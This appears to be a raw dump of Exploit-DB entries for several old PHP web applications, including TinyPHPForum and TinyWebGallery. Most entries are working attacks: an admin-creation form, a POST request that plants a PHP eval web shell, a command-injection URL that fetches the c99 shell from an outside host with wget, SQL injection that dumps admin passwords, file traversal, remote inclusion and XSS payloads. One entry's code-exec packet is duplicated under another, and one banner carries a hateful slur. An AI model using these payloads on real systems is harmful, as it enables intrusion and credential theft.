deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2114
Description: TinyPHP Forum 3.6 - 'makeAdmin' Remote Admin Maker
Type: webapps
Platform: php
Date: 2006-08-02
Author: SirDarckCat

Exploit:
TinyPHPForum 3.6 Admin Maker<br>
By SirDarckCat from elhacker.net

<FORM method=post enctype="multipart/form-data">
Existing User:<INPUT name=uname><br>
<INPUT type=file name=userfile style="visibility:HIDDEN"><br>
<INPUT type=hidden name=email value="a@b.c">
<input type=hidden name=makeadmin value=true>
<input type=hidden name=stat value=true>
<input type=hidden name=ulang value=en>
<input type=hidden name=uskin value=default>
<INPUT type=submit>
</FORM>

<script language="JavaScript">
document.forms[0].action=prompt("Path to forum","http://www.server.com/tpf/")+"updatepf.php";
</script>

# milw0rm.com [2006-08-02]
Exploit-DB #28322
Description: TinyPHPForum 3.6 - 'error.php' Information Disclosure
Type: webapps
Platform: php
Date: 2006-08-01
Author: SirDarckCat

Exploit:
source: https://www.securityfocus.com/bid/19278/info

TinyPHPForum is prone to an information-disclosure vulnerability. This issue arises when a script allows a remote untrusted source to change a victim user's email address, and have their login credentials returned to an attacker. 

Information that the attacker gathers by exploiting this vulnerability may aid in other attacks.

http://www.example.com/error.php?err=200&uname=victim&email=attacker@example.com
Exploit-DB #28323
Description: TinyPHPForum 3.6 - 'UpdatePF.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2006-08-01
Author: SirDarckCat

Exploit:
source: https://www.securityfocus.com/bid/19281/info

TinyPHPForum is prone to an authentication-bypass vulnerability because it fails to prevent an attacker from accessing admin scripts directly without requiring authentication.

A remote attacker can exploit this issue to perform administrative functions without requiring authentication. For example, the attacker may be able to create administrative users for the affected application.

===============================================================================================

Found : brain[pillow]
Dork  : "Powered by TinyPHPForum v3.61"
Visit : brainpillow.cc, forum.antichat.ru, raz0r.name
Mail  : brainpillow@gmail.com

===============================================================================================

        File read (f.e. file with admin's hash):

/index.php?f=1&t=8../../../../users/admin.hash%00

===============================================================================================

        Code exec:

Just send this fucking evil packet for registration and the shell will be created there: /lang/cekac.php.skin?c=[eval code]

POST /updatepf.php HTTP/1.1
User-Agent: Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1
Host: localhost
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Referer: http://www.example.com/profile.php?action=new
Cookie: PHPSESSID=a2b64d278abd18347c1fd3c27a6dc1f2;
Connection: Keep-Alive
Content-Length: 1235
Content-Type: multipart/form-data; boundary=----------feIyX3Pd15MPzClqGeALKe

------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="sessionid"

a2b64d278abd18347c1fd3c27a6dc1f2
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="uname"

../lang/cekac.php
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="ulang"

big5
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="uskin"

<?php eval($_GET[c]);?>
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="email"

qwe@qwe.net
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="p1"

123qwe
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="p2"

123qwe
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="stat"

hack the planet
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="avatar"

image/avatars/bird1.jpg
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10240
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="userfile"; filename=""


------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="type"

new
------------feIyX3Pd15MPzClqGeALKe--
Exploit-DB #27661
Description: TinyPHPForum 3.6 - Multiple Cross-Site Scripting Vulnerabilities (1)
Type: webapps
Platform: php
Date: 2006-04-17
Author: Hessam-x

Exploit:
source: https://www.securityfocus.com/bid/17553/info

TinyPHPForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/profile.php?action=view&uname=<script>alert("Xss")</script>
Exploit-DB #28316
Description: TinyPHPForum 3.6 - Multiple Cross-Site Scripting Vulnerabilities (2)
Type: webapps
Platform: php
Date: 2006-07-31
Author: SirDarckCat

Exploit:
source: https://www.securityfocus.com/bid/19260/info

TinyPHPForum is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/header.php?siteName=<XSS>&title=<XSS>&style=<XSS>
http://www.example.com/search.php?query=<XSS>
Exploit-DB #27038
Description: TinyPHPForum 3.6 - Multiple Directory Traversal Vulnerabilities
Type: webapps
Platform: php
Date: 2006-01-06
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16163/info

TinyPHPForum is prone to multiple directory traversal vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible.

These issues are reported to affect version 3.6; earlier versions may also be vulnerable. 

http://www.example.com/tpf/profile.php?action=view&uname=../../username
Exploit-DB #8342
Description: TinyPHPForum 3.61 - File Disclosure / Code Execution
Type: webapps
Platform: php
Date: 2009-04-01
Author: brain[pillow]

Exploit:
===============================================================================================

Found : brain[pillow]
Dork  : "Powered by TinyPHPForum v3.61"
Visit : brainpillow.cc, forum.antichat.ru, raz0r.name
Mail  : brainpillow@gmail.com

===============================================================================================

        File read (f.e. file with admin's hash):

/index.php?f=1&t=8../../../../users/admin.hash%00

===============================================================================================

        Code exec:

Just send this fucking evil packet for registration and the shell will be created there: /lang/cekac.php.skin?c=[eval code]

POST /updatepf.php HTTP/1.1
User-Agent: Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1
Host: localhost
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Referer: http://localhost/profile.php?action=new
Cookie: PHPSESSID=a2b64d278abd18347c1fd3c27a6dc1f2;
Connection: Keep-Alive
Content-Length: 1235
Content-Type: multipart/form-data; boundary=----------feIyX3Pd15MPzClqGeALKe

------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="sessionid"

a2b64d278abd18347c1fd3c27a6dc1f2
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="uname"

../lang/cekac.php
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="ulang"

big5
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="uskin"

<?php eval($_GET[c]);?>
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="email"

qwe@qwe.net
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="p1"

123qwe
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="p2"

123qwe
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="stat"

hack the planet
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="avatar"

image/avatars/bird1.jpg
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10240
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="userfile"; filename=""


------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="type"

new
------------feIyX3Pd15MPzClqGeALKe--

# milw0rm.com [2009-04-01]
Exploit-DB #31471
Description: TinyPortal 0.8.6/1.0.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-22
Author: Y433r

Exploit:
source: https://www.securityfocus.com/bid/28402/info

TinyPortal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.php?PHPSESSID="><xss>
Exploit-DB #2158
Description: TinyWebGallery 1.5 - 'image' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-09
Author: Mehmet Ince

Exploit:
####################################################
#                                                  #
#                                                  #
#           C Y B E R - W A R R i O R   T I M      #
#                                                  #
#                                                  #
####################################################


TinyWebGallery v1.5 ( image ) Remote Include Vulnerability
------------------------------------------------------------------------------
Author: xoron
------------------------------------------------------------------------------
Script: TinyWebGallery
------------------------------------------------------------------------------
Class: Remote
------------------------------------------------------------------------------
cont@ct: x0r0n[at]hotmail[dot]com
------------------------------------------------------------------------------
CODE:

<?php
include ($image . ".txt");
?>

------------------------------------------------------------------------------
google dork: "powered by twg"
------------------------------------------------------------------------------

Exploit:
http://www.site.com/[path]/examples/image.php?image=http://evil_scripts

http://www.site.com/[path]/examples/examples/image.php2?image=http://evil_scripts?

###########################################################################
#                                                                         #
#Greetz: str0ke, Preddy, Iron, x-master, DJR, R3D4C!D and all my friends  #
#                                                                         #
###########################################################################

# milw0rm.com [2006-08-09]
Exploit-DB #35298
Description: TinyWebGallery 1.8.3 - Cross-Site Scripting / Local File Inclusion
Type: webapps
Platform: php
Date: 2011-02-01
Author: Yam Mesicka

Exploit:
source: https://www.securityfocus.com/bid/46086/info

TinyWebGallery is prone to local file-include and cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

A remote attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Exploiting the local file-include issue allows the attacker to view and subsequently execute local files within the context of the webserver process.

TinyWebGallery 1.8.3 is vulnerable; other versions may also be affected. 

xamples:
http://www.example.com/twg183/admin/index.php?sview="onmouseover=alert(String.fromCharCode(88,83,83));"
http://www.example.com/twg183/admin/index.php?tview="onmouseover=alert(String.fromCharCode(88,83,83));"
http://www.example.com/twg183/admin/index.php?dir=<script>alert("xss")</script>
http://www.example.com/twg183/admin/index.php?action=chmod&item=<script>alert("xss")</script>
http://www.example.com/twg183/twg183/admin/index.php?action=chmod&item="><script>alert("xss")</script>
...

--

Vulnerability: Directory Traversal.
Where:
~ File: /admin/index.php
~ Parameters: item

Example:
http://www.example.com/twg183/admin/index.php?action=edit&item=../../../etc/passwd
Exploit-DB #16090
Description: TinyWebGallery 1.8.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-01
Author: Yam Mesicka

Exploit:
Date: 01/02/2011 (dd/MM/yyyy)
Script: TinyWebGallery
Version: 1.8.3 (No fixes yet, might work on other versions too).
Home: http://www.tinywebgallery.com

--

Vulnerability: Non-persistent XSS
Where:
~ File: /admin/index.php
~ Parameters: sview, tview, dir, item.

Examples:
http://localhost/twg183/admin/index.php?sview="onmouseover=alert(String.fromCharCode(88,83,83));"
http://localhost/twg183/admin/index.php?tview="onmouseover=alert(String.fromCharCode(88,83,83));"
http://localhost/twg183/admin/index.php?dir=<script>alert("xss")</script>
http://localhost/twg183/admin/index.php?action=chmod&item=<script>alert("xss")</script>
http://localhost/twg183/twg183/admin/index.php?action=chmod&item="><script>alert("xss")</script>
...

--

Vulnerability: Directory Traversal.
Where:
~ File: /admin/index.php
~ Parameters: item

Example:
http://localhost/twg183/admin/index.php?action=edit&item=../../../etc/passwd

--

Dork: "Photo Gallery powered by TinyWebGallery 1.8.3" (about 1.46M results)

- Yam Mesicka
- Israel
- www.Mesicka.com
Exploit-DB #18322
Description: TinyWebGallery 1.8.3 - Remote Command Execution
Type: webapps
Platform: php
Date: 2012-01-06
Author: Expl0!Ts

Exploit:
<======================================================>
[»]  TinyWebGallery 1.8.3 Remote Command Execution 
<======================================================>

    
     [»]  ---> Date :     05- 01- 2012              
     [»]  ---> Author :    Expl0!Ts --------> My Best t34m ----->    "BaC , RoBert MilEs , Bl4ck_ID"        
     [»]  ---> Software Link :  http://www.tinywebgallery.com/dl.php?file=twg_latest    
     [»]  ---> Version:      n/a         
     [»]  ---> Category:  php              
     [»]  ---> Tested on:  wind xp   
     

        !----- >  THnKs T0 My ALLAH         
<::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::>
        bIG tHnkS T0 :-> vbspiders.com & Dz4all.com & isecur1ty.org  
<::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::>
<=================Exploit====================>
 
-=[ vuln c0de ]=- 1
  

  1)  --------------> filefunctions.inc : 
       

        function execute_command ($command) {
  global $use_shell_exec;
                   ob_start();
     set_error_handler("on_error_no_output");
  i f (substr(@php_uname(), 0, 7) == "Windows"){
    // Make a new instance of the COM object
       $WshShell = new COM("WScript.Shell");
  // Make the command window but dont show it.
    $oExec = $WshShell->Run("cmd /C " . $command, 0, true);
  } else {
      if ($use_shell_exec) {
         shell_exec($command);    <--------------------------------------------- error





 1)  ---------> PoC : 


      http://127.0.0.1/(patch)/inc/filefunctions.inc?command=<id>;<pwd>;<wget http://shell.org/c99.zip>




-=[ vuln c0de ]=- 2 


  2) --------------> ifo.php :

   if ($use_shell_exec) {
            
           shell_exec($command);
      
       } else {
     
            exec($command . " > /dev/null");  <------------------------------------------ error 


  2)  ---------> PoC : 

       http://127.0.0.1/(patch)/info.php?command=<id>;<pwd>;<wget http://shell.org/c99.zip>


<------------------------------------------------------------------------------------------------------------------------------------------------------------------->
  Gr33tz :
       !>   BaC ,!>  Black_ID  ,!>  Kala$nikoV ,!>  Robert miles  ,!>  Dr.Black_ID  , !> AHmEd-HaMaImi , Bel-AiSa , To-KhAlEd 
<------------------------------------------------------------------------------------------------------------------------------------------------------------------->


EnJoY o_O
Exploit-DB #36094
Description: TinyWebGallery 1.8.4 - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2011-08-31
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/49393/info

TinyWebGallery is prone to multiple local file-include and SQL-injection vulnerabilities.

An attacker can exploit these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and view and execute arbitrary local files within the context of the webserver.

TinyWebGallery 1.8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/upload/tfu_213.swf?base=C:\windows\win.ini%00&lang=en
http://www.example.com/admin/upload/tfu_upload.php?workaround_dir=../../../../../../../../httpd.conf%00
http://www.example.com/admin/tfu_login.php?install_path=../../../../../../../../httpd.conf%00

http://www.example.com/admin/upload/tfu_213.swf =>>
=>> If login :
-> Auth ByPass =
-- user = ' or '=' or '
-- pass = ' or '=' or '
Exploit-DB #51442
Description: TinyWebGallery v2.5 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-05-13
Author: Mirabbas Ağalarov

Exploit:
#Exploit Title: TinyWebGallery v2.5 - Stored Cross-Site Scripting (XSS)
#Application: TinyWebGallery
#Version: v2.5
#Bugs:  Stored Xss
#Technology: PHP
#Vendor URL: http://www.tinywebgallery.com/
#Software Link: https://www.tinywebgallery.com/download.php?tinywebgallery=latest
#Date of found: 07-05-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 

2. Technical Details & POC
========================================
steps: 

1. Login to account
2. Go to http://localhost/twg25/index.php?twg_album=3_youtube.com&twg_show=Q4IPe8_Bo7c.jpg
3. Edit 
4. Set folder name section as  <script>alert(4)</script>



Request :



POST /twg25/i_frames/i_titel.php HTTP/1.1
Host: localhost
Content-Length: 264
Cache-Control: max-age=0
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://localhost/twg25/i_frames/i_titel.php?twg_album=3_youtube.com&twg_show=Q4IPe8_Bo7c.jpg
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=qc7mfbthpf7tnf32a34p8l766k
Connection: close

twg_album=3_youtube.com&twg_show=Q4IPe8_Bo7c.jpg&twg_foffset=&twg_submit=true&twg_titel_page2=true&twg_foldername_mod=1&twg_foldername=%26lt%3Bscript%26gt%3Balert%284%29%26lt%3B%2Fscript%26gt%3B&twg_folderdesc_mod=1&twg_folderdesc=aaaaaaaaaaaaaaaaa&twg_submit=Save


5. Go to http://localhost/twg25/index.php
Exploit-DB #5947
Description: Tips Complete Website 1.2.0 - 'tipid' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-26
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by :  Cyb3r-1sT

<<!>> C0ntact  : cyb3r-1st [at] hotmail.com ..$<->$.. t3tto0 [at] yahoo.com
                   
<<!>> Groups   : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection +++++++++++++
=======================================================


<<->> script    :  Tips Website 
 
<<->> Demo site : www.easysitenetwork.com/sites/tips/


=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : N0-WaY

<<->> Exploit :

 <!> for admin inf0 :: 

   >>>> www.site.me/patch/tip.php?tipid=90+union+select+concat(login,0x3a,password),1,2,3,4,5+from+admin_login/*


 <!> for members inf0 ::

   >>>> www.site.me/patch/tip.php?tipid=90+union+select+concat(login,0x3a,password),1,2,3,4,5+from+users/*


=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->> My best freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka $ nicehacker $ anaconda-ksa $ sirus $ crazy-x 
                           
                      :: abo-najm $ br1ght-dark $ spid3r-net $ hacker-b0y 

<<->> InjEctOr5 TeaM   


<<->> All muslims

# milw0rm.com [2008-06-26]
Exploit-DB #7354
Description: Tizag Countdown Creator 3 - Insecure Upload
Type: webapps
Platform: php
Date: 2008-12-05
Author: ahmadbady

Exploit:
****(remote file upload)****

script: tizag-countdown_Version_3
                   
***************************************************************************
download from:http://www.tizag.com/downloads/tizag-countdown_Version_3.zip
                                                                                                         
***************************************************************************
www.site.com/path/index.php (upload file.php)

shell= www.site.com/path/pics/file.php
                          
***************************************************


Author: ahmadbady 

my mail: kivi_hacker666@yahoo.com

***************************************************

# milw0rm.com [2008-12-05]